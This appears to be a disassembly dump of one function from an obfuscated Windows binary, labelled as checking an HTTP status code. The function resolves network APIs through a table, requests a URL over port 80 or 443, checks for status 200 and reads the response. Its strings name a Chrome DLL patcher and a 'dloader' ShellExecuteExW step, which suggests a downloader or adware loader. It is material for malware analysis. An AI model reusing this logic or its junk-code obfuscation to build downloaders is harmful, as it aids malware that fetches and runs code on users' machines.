Function at 0xd04966
Capabilities:
Check http status code

Disassembly:
mov eax, 0xd1974b
call fcn.00cd4307
mov eax, 0x2880
call fcn.00cd4399
mov edx, dword [0xd2a7f8]
mov ecx, dword [0xd2a7f0]
push ebx
push esi
mov esi, dword [0xd2a818]
inc esi
test edx, edx
mov eax, 0x5128b4e0
cmove esi, eax
cmp esi, 0x2492b250
push edi
mov eax, 0xf9d80bd0
cmove esi, eax
mov eax, ecx
not eax
test al, 0xfa
push 0
pop eax
setne al
add ecx, ecx
push 0
or ecx, eax
mov eax, ecx
not eax
test al, 0xfa
pop eax
setne al
lea edi, [ecx + ecx]
or edi, eax
test esi, esi
jne 0xd047f4
inc edx
mov eax, dword [0xd2a800]
xor ecx, ecx
inc ecx
test edx, edx
cmove edx, ecx
or dword [0xd2a804], eax
lea eax, [ebp - 0x488]
mov dword [ebp - 0x78], eax
inc edx
mov eax, 0x787c7958
cmove edx, eax
or esi, ecx
lea eax, [ebp - 0x388]
inc esi
mov dword [ebp - 0x6c], eax
test edx, edx
mov eax, 0x6b38506c
mov ebx, 0x100
cmove esi, eax
cmp dword [0xd2a808], 0
mov dword [ebp - 0x7c], 0x3c
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x68], ebx
mov dword [0xd2a818], esi
jne 0xd04851
inc edx
mov ecx, dword [0xd2a828]
lea eax, [ebp - 0x288]
mov dword [ebp - 0x60], eax
test ecx, ecx
jne 0xd04865
inc edx
mov eax, edi
not eax
test al, 0xfa
push 0
pop eax
setne al
add edi, edi
xor edx, 0x7b5345e0
push 0
mov dword [ebp - 0x5c], ebx
or edi, eax
inc ecx
or edx, 0xa234af38
mov eax, 0x2c1b3670
cmove ecx, eax
lea eax, [ebp - 0x188]
mov dword [ebp - 0x58], eax
mov eax, edi
not eax
test al, 0xfa
mov dword [0xd2a828], ecx
pop eax
mov ecx, 0x80000000
cmove eax, ecx
shr edi, 1
or edi, eax
test esi, esi
jne 0xd048b6
inc edx
cmp edx, 0x57099250
mov eax, 0x3d3caf80
cmove edx, eax
push 1
lea eax, [ebp - 0x1888]
mov dword [ebp - 0x50], eax
pop ecx
test edx, edx
cmove edx, ecx
mov eax, edi
not eax
test al, 0xfa
push 0
pop ecx
push dword [ebp + 0xc]
setne cl
lea eax, [edi + edi]
mov esi, 0x800
mov dword [ebp - 0x54], ebx
mov dword [0xd2a7f8], edx
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x44], esi
or eax, ecx
mov dword [0xd2a7f0], eax
lea eax, [ebp - 0x1088]
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x48], eax
call fcn.00ce5558
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword [0xd2a7f8]
push ebx
push ebx
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 0x10], esp
xor eax, 0x2826b10
push 0xffffffffffffffff
or eax, 0x12adfa08
mov edi, 0xd1f534
push edi
mov dword [0xd2a7f8], eax
call fcn.00ce55a3
xor eax, eax
inc eax
mov byte [ebp - 4], al
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x24]
call fcn.00cf399c
test eax, eax
jns 0xd04a02
push ebx
push ebx
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 0x10], esp
push 0xffffffffffffffff
push 0xd1f53c
call fcn.00ce55a3
mov byte [ebp - 4], 2
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x24]
call fcn.00cf399c
test eax, eax
jns 0xd04a02
push ebx
push ebx
sub esp, 0xc
mov ecx, esp
mov dword [ebp - 0x10], esp
push 0xffffffffffffffff
push 0xd1f548
call fcn.00ce55a3
mov byte [ebp - 4], 3
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x24]
call fcn.00cf399c
test eax, eax
jns 0xd04a02
xor eax, eax
push 0xffffffffffffffff
inc eax
or dword [0xd2a7f8], eax
push edi
lea ecx, [ebp - 0x38]
call fcn.00ce55a3
mov byte [ebp - 4], 4
push dword [ebp - 0x1c]
mov ecx, eax
push dword [ebp - 0x24]
call fcn.00cf2bb4
push eax
lea ecx, [ebp - 0x24]
call fcn.00ce61cc
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x38]
call fcn.00ce5d79
mov edx, dword [0xd2a7f0]
mov eax, edx
not eax
test al, 0xfa
push ebx
pop ecx
setne cl
lea eax, [edx + edx]
or eax, ecx
mov dword [0xd2a7f0], eax
mov ecx, dword [0xd530f8]
test ecx, ecx
je 0xd04a65
lea eax, [ecx + 0x2dc]
push eax
push esi
call fcn.00cfac09
mov ecx, dword [0xd530f8]
cmp dword [eax], ebx
je 0xd04a4d
mov esi, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x24]
lea eax, [ecx + 0x2dc]
push eax
push 0x800
call fcn.00cfac09
lea ecx, [ebp - 0x7c]
push ecx
push ebx
push esi
push edi
call dword [eax]
mov ecx, dword [0xd530f8]
mov edx, eax
jmp 0xd04a67
test ecx, ecx
je 0xd04a65
mov eax, dword [ecx]
test eax, eax
je 0xd04a65
push 0xd1f550
call eax
pop ecx
mov ecx, dword [0xd530f8]
mov edx, ebx
mov eax, dword [0xd2a7f8]
inc eax
mov esi, 0x7095b38
cmove eax, esi
mov dword [0xd2a7f8], eax
test edx, edx
jne 0xd04af2
mov edx, dword [0xd2a7f0]
mov eax, edx
not eax
push 0
pop ecx
test al, 0xfa
setne cl
lea eax, [edx + edx]
push 0xffffffffffffffff
push dword [ebp - 0x24]
or eax, ecx
lea ecx, [ebp - 0x38]
mov dword [0xd2a7f0], eax
call fcn.00ce5726
mov byte [ebp - 4], 6
mov eax, dword [0xd2a808]
push dword [ebp - 0x38]
xor ecx, ecx
shl eax, 0x18
inc ecx
or eax, ecx
mov dword [0xd2a808], eax
call dword [0xd1b190]
push eax
push str.CChromeBrandInstaller::PatchChromeDll:_exit:_C:_d
push 4
call fcn.00d13663
xor eax, eax
inc eax
or dword [0xd2a7f8], eax
add esp, 0x10
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x38]
call fcn.00ce5d79
or edi, 0xffffffff
jmp 0xd05583
test ecx, ecx
je 0xd04b4d
lea eax, [ecx + 0x2e8]
push eax
mov edi, 0x800
push edi
call fcn.00cfac09
cmp dword [eax], ebx
je 0xd04b2f
mov eax, dword [ebp + 0x18]
mov ecx, dword [0xd530f8]
mov esi, dword [eax]
lea eax, [ecx + 0x2e8]
push eax
push edi
call fcn.00cfac09
push ebx
push ebx
push ebx
push ebx
push esi
call dword [eax]
mov edi, eax
jmp 0xd04b48
mov eax, dword [0xd530f8]
test eax, eax
je 0xd04b4d
mov eax, dword [eax]
test eax, eax
je 0xd04b4d
push 0xd1f5d0
call eax
pop ecx
mov edi, ebx
mov dword [ebp - 0x14], edi
jmp 0xd04b52
mov edi, ebx
mov dword [ebp - 0x14], ebx
mov edx, dword [0xd2a7f0]
mov eax, edx
not eax
test al, 0xfa
push 0
pop ecx
setne cl
lea eax, [edx + edx]
or eax, ecx
mov dword [0xd2a7f0], eax
test edi, edi
jne 0xd04b79
push 0xfffffffffffffffe
jmp 0xd04c8e
push 0x50
pop esi
push 0xd1f618
push dword [ebp - 0x78]
mov dword [ebp - 0x10], 0x4000000
call fcn.00cd3c2b
pop ecx
pop ecx
test eax, eax
jne 0xd04bad
mov eax, dword [0xd2a800]
or dword [0xd2a804], eax
mov esi, 0x1bb
mov dword [ebp - 0x10], 0x4800000
mov ecx, dword [0xd530f8]
test ecx, ecx
je 0xd04c19
lea eax, [ecx + 0x31c]
push eax
push 0x800
call fcn.00cfac09
mov ecx, dword [0xd530f8]
cmp dword [eax], ebx
je 0xd04c01
lea eax, [ecx + 0x31c]
push eax
push 0x800
call fcn.00cfac09
push ebx
push 0x4000000
push 3
push ebx
push ebx
push esi
push dword [ebp - 0x6c]
push edi
call dword [eax]
mov ecx, dword [0xd530f8]
mov ebx, eax
mov dword [ebp - 0x18], eax
jmp 0xd04c1c
test ecx, ecx
je 0xd04c19
mov eax, dword [ecx]
test eax, eax
je 0xd04c19
push 0xd1f620
call eax
pop ecx
mov ecx, dword [0xd530f8]
mov dword [ebp - 0x18], ebx
cmp dword [0xd2a818], 0
mov eax, dword [0xd2a7f8]
jne 0xd04c30
inc eax
mov dword [0xd2a7f8], eax
test ebx, ebx
jne 0xd04c94
cmp dword [0xd2a808], ebx
jne 0xd04c42
inc eax
mov dword [0xd2a7f8], eax
test ecx, ecx
je 0xd04c8c
lea eax, [ecx + 0x310]
push eax
mov ebx, 0x800
push ebx
call fcn.00ce2e98
cmp dword [eax], 0
je 0xd04c75
mov ecx, dword [0xd530f8]
lea eax, [ecx + 0x310]
push eax
push ebx
call fcn.00ce2e98
push edi
call dword [eax]
jmp 0xd04c8c
mov eax, dword [0xd530f8]
test eax, eax
je 0xd04c8c
mov eax, dword [eax]
test eax, eax
je 0xd04c8c
push 0xd1f670
call eax
pop ecx
push 0xfffffffffffffffd
pop edi
jmp 0xd05583
and dword [ebp - 0x3c], 0
cmp dword [0xd2a808], 0
mov dword [ebp - 0x40], 0xd1f6c4
jne 0xd04cae
inc eax
mov dword [0xd2a7f8], eax
push 0xffffffffffffffff
push dword [ebp - 0x50]
lea ecx, [ebp - 0x38]
call fcn.00ce55a3
mov byte [ebp - 4], 0xb
push 0xffffffffffffffff
push dword [ebp - 0x48]
mov ecx, eax
call fcn.00cf2bb4
push eax
lea ecx, [ebp - 0x88]
call fcn.00ce5558
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x38]
call fcn.00ce5d79
mov edx, dword [0xd530f8]
test edx, edx
je 0xd04d65
lea eax, [edx + 0x250]
push eax
push 0x800
mov ecx, edx
call fcn.00cfac09
cmp dword [eax], 0
je 0xd04d45
mov eax, dword [ebp + 8]
mov ecx, dword [0xd530f8]
mov esi, dword [eax]
mov edi, dword [ebp - 0x88]
lea eax, [ecx + 0x250]
push eax
push 0x800
call fcn.00cfac09
xor edx, edx
push edx
push dword [ebp - 0x10]
lea ecx, [ebp - 0x40]
push ecx
push edx
push edx
push edi
push esi
push ebx
call dword [eax]
mov edx, dword [0xd530f8]
mov edi, dword [ebp - 0x14]
mov ebx, eax
jmp 0xd04d67
mov edx, dword [0xd530f8]
test edx, edx
je 0xd04d65
mov eax, dword [edx]
test eax, eax
je 0xd04d65
push 0xd1f6c8
call eax
mov edx, dword [0xd530f8]
pop ecx
jmp 0xd04d72
xor ebx, ebx
test ebx, ebx
jne 0xd04e87
mov ebx, dword [ebp - 0x18]
mov esi, 0xd1f670
test edx, edx
je 0xd04dc9
lea eax, [edx + 0x310]
push eax
push 0x800
mov ecx, edx
call fcn.00ce2e98
cmp dword [eax], 0
je 0xd04daf
mov ecx, dword [0xd530f8]
lea eax, [ecx + 0x310]
push eax
push 0x800
call fcn.00ce2e98
push ebx
call dword [eax]
jmp 0xd04dc3
mov edx, dword [0xd530f8]
test edx, edx
je 0xd04dc9
mov eax, dword [edx]
test eax, eax
je 0xd04dc9
push esi
call eax
pop ecx
mov edx, dword [0xd530f8]
mov ecx, dword [0xd2a7f0]
mov eax, ecx
not eax
test al, 0xfa
push 0
pop eax
mov ebx, 0x80000000
cmove eax, ebx
shr ecx, 1
or ecx, eax
mov eax, dword [0xd2a7f8]
mov dword [0xd2a7f0], ecx
inc eax
mov ecx, 0xc528b94c
cmove eax, ecx
mov dword [0xd2a7f8], eax
test edx, edx
je 0xd04e45
lea eax, [edx + 0x310]
push eax
mov ebx, 0x800
push ebx
mov ecx, edx
call fcn.00ce2e98
cmp dword [eax], 0
je 0xd04e32
mov ecx, dword [0xd530f8]
lea eax, [ecx + 0x310]
push eax
push ebx
call fcn.00ce2e98
push edi
call dword [eax]
jmp 0xd04e45
mov eax, dword [0xd530f8]
test eax, eax
je 0xd04e45
mov eax, dword [eax]
test eax, eax
je 0xd04e45
push esi
call eax
pop ecx
mov eax, dword [0xd2a808]
inc eax
cmp dword [0xd2a7f8], 0
mov ecx, 0x2314d84
cmove eax, ecx
mov ecx, dword [0xd2a7f0]
mov dword [0xd2a808], eax
mov eax, ecx
not eax
test al, 0xfa
push 0
pop eax
mov edx, 0x80000000
cmove eax, edx
shr ecx, 1
or ecx, eax
mov dword [0xd2a7f0], ecx
push 0xfffffffffffffffc
jmp 0xd052ff
mov eax, dword [0xd2a7f8]
inc eax
mov ecx, 0x1d514f0
cmove eax, ecx
mov dword [0xd2a7f8], eax
mov eax, dword [0xd2a818]
xor eax, 0x74d0b3d4
or eax, 0x8ddd2f8
mov dword [ebp - 0x2c], 0x1b7740
mov dword [0xd2a818], eax
mov esi, 0xd1f718
mov edi, 0x800
test edx, edx
je 0xd04f11
lea eax, [edx + 0x388]
push eax
push edi
mov ecx, edx
call fcn.00cfac09
cmp dword [eax], 0
je 0xd04ef7
mov ecx, dword [0xd530f8]
lea eax, [ecx + 0x388]
push eax
push edi
call fcn.00cfac09
push 4
lea ecx, [ebp - 0x2c]
push ecx
push 6
push ebx
call dword [eax]
jmp 0xd04f0b
mov edx, dword [0xd530f8]
test edx, edx
je 0xd04f11
mov eax, dword [edx]
test eax, eax
je 0xd04f11
push esi
call eax
pop ecx
mov edx, dword [0xd530f8]
mov eax, dword [0xd2a7f8]
test eax, eax
push 1
pop ecx
cmove eax, ecx
cmp eax, 0xacf84d3c
mov ecx, 0xdbbd9a8
cmove eax, ecx
mov dword [0xd2a7f8], eax
test edx, edx
je 0xd04f82
lea eax, [edx + 0x388]
push eax
push edi
mov ecx, edx
call fcn.00cfac09
cmp dword [eax], 0
je 0xd04f68
mov ecx, dword [0xd530f8]
lea eax, [ecx + 0x388]
push eax
push edi
call fcn.00cfac09
push 4
lea ecx, [ebp - 0x2c]
push ecx
push 8
push ebx
call dword [eax]
jmp 0xd04f7c
mov edx, dword [0xd530f8]
test edx, edx
je 0xd04f82
mov eax, dword [edx]
test eax, eax
je 0xd04f82
push esi
call eax
pop ecx
mov edx, dword [0xd530f8]
mov ecx, dword [0xd2a7f0]
mov eax, ecx
not eax
test al, 0xfa
push 0
pop eax
mov esi, 0x80000000
cmove eax, esi
shr ecx, 1
or ecx, eax
mov dword [0xd2a7f0], ecx
test edx, edx
je 0xd05022
lea eax, [edx + 0x380]
push eax
push edi
mov ecx, edx
call fcn.00cfac09
cmp dword [eax], 0
je 0xd04ff6
mov eax, dword [ebp + 0x14]
mov ecx, dword [0xd530f8]
mov esi, dword [eax + 8]
mov edi, dword [eax]
lea eax, [ecx + 0x380]
push eax
push 0x800
call fcn.00cfac09
push esi
push edi
push 0
push 0
push ebx
call dword [eax]
mov ecx, dword [0xd2a7f0]
mov edx, dword [0xd530f8]
mov esi, 0x80000000
jmp 0xd05024
mov edx, dword [0xd530f8]
test edx, edx
je 0xd0501c
mov eax, dword [edx]
test eax, eax
je 0xd0501c
push 0xd1f768
call eax
mov edx, dword [0xd530f8]
pop ecx
mov ecx, dword [0xd2a7f0]
jmp 0xd05031
mov ecx, dword [0xd2a7f0]
xor eax, eax
mov edi, 0x800
test eax, eax
jne 0xd0514c
mov eax, ecx
not eax
test al, 0xfa
push 0
pop eax
cmove eax, esi
shr ecx, 1
or ecx, eax
mov dword [0xd2a7f0], ecx
test edx, edx
je 0xd05123
lea eax, [edx + 0x310]
push eax
push edi
mov ecx, edx
call fcn.00ce2e98
cmp dword [eax], 0
mov ecx, dword [0xd530f8]
mov esi, 0xd1f670
je 0xd05080
lea eax, [ecx + 0x310]
push eax
push edi
call fcn.00ce2e98
push ebx
call dword [eax]
jmp 0xd05092
test ecx, ecx
je 0xd05123
mov eax, dword [ecx]
test eax, eax
je 0xd05098
push esi
call eax
pop ecx
mov ecx, dword [0xd530f8]
test ecx, ecx
je 0xd05123
lea eax, [ecx + 0x310]
push eax
push edi
call fcn.00ce2e98
cmp dword [eax], 0
mov ecx, dword [0xd530f8]
je 0xd050cc
lea eax, [ecx + 0x310]
push eax
push edi
call fcn.00ce2e98
push dword [ebp - 0x18]
call dword [eax]
jmp 0xd050da
test ecx, ecx
je 0xd05123
mov eax, dword [ecx]
test eax, eax
je 0xd050e0
push esi
call eax
pop ecx
mov ecx, dword [0xd530f8]
test ecx, ecx
je 0xd05123
lea eax, [ecx + 0x310]
push eax
push edi
call fcn.00ce2e98
cmp dword [eax], 0
je 0xd05110
mov ecx, dword [0xd530f8]
lea eax, [ecx + 0x310]
push eax
push edi
call fcn.00ce2e98
push dword [ebp - 0x14]
call dword [eax]
jmp 0xd05123
mov eax, dword [0xd530f8]
test eax, eax
je 0xd05123
mov eax, dword [eax]
test eax, eax
je 0xd05123
push esi
call eax
pop ecx
mov eax, dword [0xd2a808]
cmp eax, 0x7039ea00
mov ecx, 0x4524bfc0
cmove eax, ecx
mov dword [0xd2a808], eax
mov eax, dword [0xd2a800]
or dword [0xd2a804], eax
push 0xfffffffffffffffb
jmp 0xd052ff
mov eax, ecx
not eax
test al, 0xfa
push 0
pop eax
cmove eax, esi
shr ecx, 1
or ecx, eax
mov dword [0xd2a7f0], ecx
mov ecx, dword [0xd2a7f8]
push 1
test ecx, ecx
pop eax
cmove ecx, eax
mov eax, dword [0xd2a800]
or dword [0xd2a804], eax
mov dword [0xd2a7f8], ecx
mov dword [ebp - 0x28], 0x400
test edx, edx
je 0xd051f7
lea eax, [edx + 0x214]
push eax
push edi
mov ecx, edx
call fcn.00cfac09
cmp dword [eax], 0
je 0xd051d3
mov ecx, dword [0xd530f8]
lea eax, [ecx + 0x214]
push eax
push edi
call fcn.00cfac09
push 0
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x888]
push ecx
push 0x13
push ebx
call dword [eax]
mov ecx, dword [0xd2a7f8]
mov edx, dword [0xd530f8]
jmp 0xd051f9
mov edx, dword [0xd530f8]
test edx, edx
je 0xd051f1
mov eax, dword [edx]
test eax, eax
je 0xd051f1
push 0xd1f7b8
call eax
mov edx, dword [0xd530f8]
pop ecx
mov ecx, dword [0xd2a7f8]
xor eax, eax
inc ecx
mov esi, 0x1e8473c0
cmove ecx, esi
mov dword [0xd2a7f8], ecx
test eax, eax
jne 0xd05305
test edx, edx
je 0xd052f2
lea eax, [edx + 0x310]
push eax
push edi
mov ecx, edx
call fcn.00ce2e98
cmp dword [eax], 0
mov ecx, dword [0xd530f8]
mov esi, 0xd1f670
je 0xd05249
lea eax, [ecx + 0x310]
push eax
push edi
call fcn.00ce2e98
push ebx
call dword [eax]
jmp 0xd0525b
test ecx, ecx
je 0xd052ec
mov eax, dword [ecx]
test eax, eax
je 0xd05261
push esi
call eax
pop ecx
mov ecx, dword [0xd530f8]
test ecx, ecx
je 0xd052ec
lea eax, [ecx + 0x310]
push eax
push edi
call fcn.00ce2e98
cmp dword [eax], 0
mov ecx, dword [0xd530f8]
je 0xd05295
lea eax, [ecx + 0x310]
push eax
push edi
call fcn.00ce2e98
push dword [ebp - 0x18]
call dword [eax]
jmp 0xd052a3
test ecx, ecx
je 0xd052ec
mov eax, dword [ecx]
test eax, eax
je 0xd052a9
push esi
call eax
pop ecx
mov ecx, dword [0xd530f8]
test ecx, ecx
je 0xd052ec
lea eax, [ecx + 0x310]
push eax
push edi
call fcn.00ce2e98
cmp dword [eax], 0
je 0xd052d9
mov ecx, dword [0xd530f8]
lea eax, [ecx + 0x310]
push eax
push edi
call fcn.00ce2e98
push dword [ebp - 0x14]
call dword [eax]
jmp 0xd052ec
mov eax, dword [0xd530f8]
test eax, eax
je 0xd052ec
mov eax, dword [eax]
test eax, eax
je 0xd052ec
push esi
call eax
pop ecx
mov ecx, dword [0xd2a7f8]
xor eax, eax
inc eax
or ecx, eax
mov dword [0xd2a7f8], ecx
push 0xfffffffffffffffa
pop edi
jmp 0xd05574
mov eax, dword [ebp - 0x28]
cmp ecx, 0x4c5fd88
mov byte [ebp + eax - 0x888], 0
mov eax, 0x29249b80
cmove ecx, eax
xor ecx, 0x20d4f708
lea eax, [ebp - 0x888]
or ecx, 0x3d68230
push eax
mov dword [0xd2a7f8], ecx
call fcn.00cd3e4d
mov edi, eax
pop ecx
cmp edi, 0xc8
jne 0xd05468
mov eax, dword [0xd2a818]
cmp eax, 0x1dc9f82c
mov ecx, 0x4224210
cmove eax, ecx
mov ecx, dword [0xd2a7f0]
mov dword [0xd2a818], eax
mov eax, ecx
not eax
test al, 0xfa
push 0
pop eax
mov esi, 0x80000000
cmove eax, esi
shr ecx, 1
or ecx, eax
mov eax, dword [0xd2a7f8]
inc eax
mov edx, 0x2a14abac
cmove eax, edx
and dword [ebp - 0x10], 0
mov dword [0xd2a7f8], eax
xor eax, eax
inc eax
or dword [0xd2a7f8], eax
mov eax, ecx
not eax
test al, 0xfa
push 0
pop eax
cmove eax, esi
shr ecx, 1
or ecx, eax
mov dword [0xd2a7f0], ecx
mov ecx, dword [0xd530f8]
test ecx, ecx
je 0xd0540b
lea eax, [ecx + 0x25c]
push eax
mov esi, 0x800
push esi
call fcn.00cfac09
cmp dword [eax], 0
mov ecx, dword [0xd530f8]
je 0xd05402
lea eax, [ecx + 0x25c]
push eax
push esi
call fcn.00cfac09
lea ecx, [ebp - 0x10]
push ecx
push 0x1000
lea ecx, [ebp - 0x288c]
push ecx
push ebx
call dword [eax]
mov ecx, dword [0xd530f8]
jmp 0xd0540d
test ecx, ecx
je 0xd0540b
cmp dword [ecx], 0
jne 0xd05439
xor eax, eax
test eax, eax
je 0xd05447
push dword [ebp - 0x10]
mov ecx, dword [ebp + 0x10]
lea eax, [ebp - 0x288c]
push eax
call fcn.00cf2bb4
cmp dword [ebp - 0x10], 0
jbe 0xd05460
mov ecx, dword [0xd2a7f0]
mov esi, 0x80000000
jmp 0xd05394
push str.Error_calling_dloader:ShellExecuteExW
call dword [ecx]
pop ecx
mov ecx, dword [0xd530f8]
push 0xfffffffffffffff9
pop edi
xor dword [0xd2a7f8], 0x320fdc00
or dword [0xd2a7f8], 0x762b934
jmp 0xd0546e
mov ecx, dword [0xd530f8]
jmp 0xd0544a
mov ecx, dword [0xd530f8]
mov esi, 0xd1f670
test ecx, ecx
je 0xd054bd
lea eax, [ecx + 0x310]
push eax
push 0x800
call fcn.00ce2e98
cmp dword [eax], 0
mov ecx, dword [0xd530f8]
je 0xd054a9
lea eax, [ecx + 0x310]
push eax
push 0x800
call fcn.00ce2e98
push ebx
call dword [eax]
jmp 0xd054b7
test ecx, ecx
je 0xd054bd
mov eax, dword [ecx]
test eax, eax
je 0xd054bd
push esi
call eax
pop ecx
mov ecx, dword [0xd530f8]
mov eax, dword [0xd2a7f8]
inc eax
mov dword [0xd2a7f8], eax
mov edx, 0x126f4800
cmove eax, edx
mov dword [0xd2a7f8], eax
test ecx, ecx
je 0xd05565
lea eax, [ecx + 0x310]
push eax
mov ebx, 0x800
push ebx
call fcn.00ce2e98
cmp dword [eax], 0
mov ecx, dword [0xd530f8]
je 0xd0550e
lea eax, [ecx + 0x310]
push eax
push ebx
call fcn.00ce2e98
push dword [ebp - 0x18]
call dword [eax]
jmp 0xd0551c
test ecx, ecx
je 0xd05565
mov eax, dword [ecx]
test eax, eax
je 0xd05522
push esi
call eax
pop ecx
mov ecx, dword [0xd530f8]
test ecx, ecx
je 0xd05565
lea eax, [ecx + 0x310]
push eax
push ebx
call fcn.00ce2e98
cmp dword [eax], 0
je 0xd05552
mov ecx, dword [0xd530f8]
lea eax, [ecx + 0x310]
push eax
push ebx
call fcn.00ce2e98
push dword [ebp - 0x14]
call dword [eax]
jmp 0xd05565
mov eax, dword [0xd530f8]
test eax, eax
je 0xd05565
mov eax, dword [eax]
test eax, eax
je 0xd05565
push esi
call eax
pop ecx
cmp dword [0xd2a828], 0
jne 0xd05574
inc dword [0xd2a7f8]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x88]
call fcn.00ce5d79
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.00ce5d79
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret